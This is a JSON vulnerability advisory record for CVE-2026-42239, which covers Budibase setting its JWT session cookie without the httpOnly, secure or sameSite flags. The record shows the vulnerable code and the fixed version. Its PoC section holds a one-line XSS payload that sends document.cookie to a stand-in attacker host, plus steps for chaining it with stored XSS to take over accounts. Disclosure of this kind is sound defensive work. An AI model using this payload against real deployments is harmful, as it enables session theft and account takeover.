{"id":"CVE-2026-42239","aliases":["GHSA-4f9j-vr4p-642r"],"url":"https://o3.security/vulnerability/CVE-2026-42239","summary":"Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover","details":"### Summary\n\nThe `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.\n\nThe cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.\n\n### Details\n\n`packages/backend-core/src/utils/utils.ts`, lines 215-226:\n\n```typescript\nconst config: SetOption = {\n  expires: MAX_VALID_DATE,\n  path: \"/\",\n  httpOnly: false,     // ← JavaScript can read the session JWT\n  overwrite: true,\n}\n\nif (env.COOKIE_DOMAIN) {\n  config.domain = env.COOKIE_DOMAIN\n}\n\nctx.cookies.set(name, value, config)\n```\n\nThis function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.\n\nMissing flags:\n- `httpOnly: false` → should be `true` (prevent JS access)\n- No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments)\n- No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`)\n\n### PoC\n\nAny XSS payload can steal the session:\n\n```javascript\n// Attacker's XSS payload — steals session and sends to attacker server\nnew Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);\n```\n\nWith `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.\n\nCombined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:\n1. Create an entity with a name containing `<script>` payload\n2. Any user who views that entity has their JWT stolen\n3. Attacker uses the JWT for persistent account access\n\n### Impact\n\nEvery XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from \"session riding\" to \"persistent credential theft.\"\n\nThis affects all Budibase deployments since the cookie configuration is hardcoded.\n\n## ATTACHMENTS\n\n[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)\n\n---","published":"2026-05-07T18:49:59.180Z","modified":"2026-08-12T03:51:36.169736332Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"},"epss":{"score":0.00283,"percentile":0.20735,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@budibase/backend-core","fixedVersion":"3.35.10"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/Budibase/budibase/releases/tag/3.35.10"},{"type":"ADVISORY","url":"https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42239.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42239"},{"type":"PACKAGE","url":"https://github.com/Budibase/budibase"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:36.169736332Z"}}